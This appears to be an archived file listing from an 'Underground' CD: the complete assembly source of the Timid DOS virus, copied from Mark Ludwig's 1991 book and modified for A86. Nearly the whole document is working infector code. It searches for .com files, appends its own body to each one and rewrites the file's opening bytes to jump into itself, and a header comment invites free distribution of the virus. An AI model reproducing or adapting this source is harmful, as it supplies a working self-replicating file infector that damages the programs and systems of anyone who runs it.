home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / timid.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.3 KB  |  196 lines

  1. ;TIMID VIRUS asm by Mark Ludwig in 1991.
  2.  
  3. ;
  4.  
  5. ;-infects .coms only in current directory unless called by dos path statement
  6.  
  7. ;-announces each file infected.
  8.  
  9. ;297bytes=eff. length
  10.  
  11. ;Copied from Mark Ludwig's "The Little Black Book of Computer Viruses"
  12.  
  13. ;Slightly modified for A86 assembly.
  14.  
  15. ;-asm makes a 64k file, run against 'bait' .com to get 297 byte virus
  16.  
  17. ;-fixed bug in code reprinted in his book.
  18.  
  19. ;all infected files will have VI at byte position 4-5.
  20.  
  21. ;Mark Ludwig claims copyright on this virus and said he will
  22.  
  23. ; sue anyone distributing his viruses around.  I say have fun!.
  24.  
  25.  
  26.  
  27.  
  28.  
  29. main    segment byte
  30.  
  31.         assume cs:main, ds:main, ss:nothing
  32.  
  33.  
  34.  
  35.         org 100h
  36.  
  37.  
  38.  
  39. host:
  40.  
  41.         jmp near ptr virus_start
  42.  
  43.         db 'VI'                 ;identifies virus
  44.  
  45.         mov ah, 4ch
  46.  
  47.         mov al, 0
  48.  
  49.         int 21h
  50.  
  51.  
  52.  
  53. virus:
  54.  
  55.  
  56.  
  57. comfile db      '*.com',0
  58.  
  59.  
  60.  
  61. virus_start:
  62.  
  63.         call get_start
  64.  
  65.  
  66.  
  67. get_start:
  68.  
  69.         sub word ptr [vir_start], offset get_start - offset virus
  70.  
  71.         mov dx, offset dta
  72.  
  73.         mov ah, 1ah
  74.  
  75.         int 21h
  76.  
  77.         call find_file
  78.  
  79.         jnz exit_virus
  80.  
  81.         call infect
  82.  
  83.         mov dx, offset fname
  84.  
  85.         mov [handle] b,24h
  86.  
  87.         mov ah, 9
  88.  
  89.         int 21h
  90.  
  91. exit_virus:                             ;bug was here in book
  92.  
  93.         mov dx, 80h
  94.  
  95.         mov ah, 1ah
  96.  
  97.         int 21h
  98.  
  99.         mov bx, [vir_start]
  100.  
  101.         mov ax, word ptr [bx+(offset start_code)-(offset virus)]
  102.  
  103.         mov word ptr [host], ax
  104.  
  105.         mov ax, word ptr [bx+(offset start_code)-(offset virus)+2]
  106.  
  107.         mov word ptr [host+2],ax
  108.  
  109.         mov al, byte ptr [bx+(offset start_code)-(offset virus)+4]
  110.  
  111.         mov byte ptr [host+4], al
  112.  
  113.         mov [vir_start], 100h
  114.  
  115.         ret
  116.  
  117. start_code:
  118.  
  119.         nop
  120.  
  121.         nop
  122.  
  123.         nop
  124.  
  125.         nop
  126.  
  127.         nop
  128.  
  129.  
  130.  
  131. find_file:
  132.  
  133.         mov dx, [vir_start]
  134.  
  135.         add dx, offset comfile-offset virus
  136.  
  137.         mov cx, 3fh
  138.  
  139.         mov ah, 4eh
  140.  
  141.         int 21h
  142.  
  143.  
  144.  
  145. ff_loop:
  146.  
  147.         or al,al
  148.  
  149.         jnz ff_done
  150.  
  151.         call file_ok
  152.  
  153.         jz ff_done
  154.  
  155.         mov ah, 4fh
  156.  
  157.         int 21h
  158.  
  159.         jmp ff_loop
  160.  
  161.  
  162.  
  163. ff_done:
  164.  
  165.         ret
  166.  
  167.  
  168.  
  169. file_ok:
  170.  
  171.         mov dx, offset fname
  172.  
  173.         mov ax, 3d02h
  174.  
  175.         int 21h
  176.  
  177.         jc fok_nzend
  178.  
  179.         mov bx, ax
  180.  
  181.         push bx
  182.  
  183.         mov cx, 5
  184.  
  185.         mov dx, offset start_image
  186.  
  187.         mov ah, 3fh
  188.  
  189.         int 21h
  190.  
  191.         pop bx
  192.  
  193.         mov ah, 3eh
  194.  
  195.         int 21h
  196.  
  197.         mov ax, word ptr [fsize]
  198.  
  199.         add ax, offset endvirus - offset virus
  200.  
  201.         jc fok_nzend
  202.  
  203.         cmp byte ptr [start_image], 0e9h
  204.  
  205.         jnz fok_zend
  206.  
  207.  
  208.  
  209. fok_nzend:
  210.  
  211.         mov al, 1
  212.  
  213.         or al,al
  214.  
  215.         ret
  216.  
  217.  
  218.  
  219. fok_zend:
  220.  
  221.         xor al,al
  222.  
  223.         ret
  224.  
  225.  
  226.  
  227. infect:
  228.  
  229.         mov dx, offset fname
  230.  
  231.         mov ax, 3d02h
  232.  
  233.         int 21h
  234.  
  235.         mov word ptr [handle],ax
  236.  
  237.  
  238.  
  239.         xor cx,cx
  240.  
  241.         mov dx,cx
  242.  
  243.         mov bx, word ptr [handle]
  244.  
  245.         mov ax, 4202h
  246.  
  247.         int 21h
  248.  
  249.  
  250.  
  251.         mov cx, offset final -offset virus
  252.  
  253.         mov dx, [vir_start]
  254.  
  255.         mov bx, word ptr [handle]
  256.  
  257.         mov ah, 40h
  258.  
  259.         int 21h
  260.  
  261.  
  262.  
  263.         xor cx,cx
  264.  
  265.         mov dx, word ptr [fsize]
  266.  
  267.         add dx, offset start_code-offset virus
  268.  
  269.         mov bx, word ptr [handle]
  270.  
  271.         mov ax, 4200h
  272.  
  273.         int 21h
  274.  
  275.  
  276.  
  277.         mov cx, 5
  278.  
  279.         mov bx, word ptr [handle]
  280.  
  281.         mov dx, offset start_image
  282.  
  283.         mov ah, 40h
  284.  
  285.         int 21h
  286.  
  287.  
  288.  
  289.         xor cx,cx
  290.  
  291.         mov dx,cx
  292.  
  293.         mov bx, word ptr [handle]
  294.  
  295.         mov ax, 4200h
  296.  
  297.         int 21h
  298.  
  299.  
  300.  
  301.         mov bx, [vir_start]
  302.  
  303.         mov byte ptr [start_image], 0e9h
  304.  
  305.         mov ax, word ptr [fsize]
  306.  
  307.         add ax, offset virus_start-offset virus-3
  308.  
  309.         mov word ptr [start_image+1], ax
  310.  
  311.         mov word ptr [start_image+3], 4956h
  312.  
  313.  
  314.  
  315.         mov cx, 5
  316.  
  317.         mov dx, offset start_image
  318.  
  319.         mov bx, word ptr [handle]
  320.  
  321.         mov ah, 40h
  322.  
  323.         int 21h
  324.  
  325.  
  326.  
  327.         mov bx, word ptr [handle]
  328.  
  329.         mov ah, 3eh
  330.  
  331.         int 21h
  332.  
  333.         ret
  334.  
  335.  
  336.  
  337. final:
  338.  
  339.  
  340.  
  341. ;data area
  342.  
  343. endvirus equ $ + 212
  344.  
  345. org 0ff2ah
  346.  
  347.  
  348.  
  349. dta db 1ah dup (?)
  350.  
  351. fsize dw 0,0
  352.  
  353. fname db 13 dup (?)
  354.  
  355. handle dw 0
  356.  
  357. start_image db 0,0,0,0,0
  358.  
  359. vstack dw 50h dup (?)
  360.  
  361. vir_start dw (?)
  362.  
  363.  
  364.  
  365. main ends
  366.  
  367. end     host
  368.  
  369. ;end of timid.asm
  370.  
  371.  
  372.  
  373.  
  374.  
  375.  
  376.  
  377.  
  378.  
  379.  
  380.  
  381.  
  382.  
  383.  
  384.  
  385.  
  386.  
  387.  
  388.  
  389.  
  390.  
  391.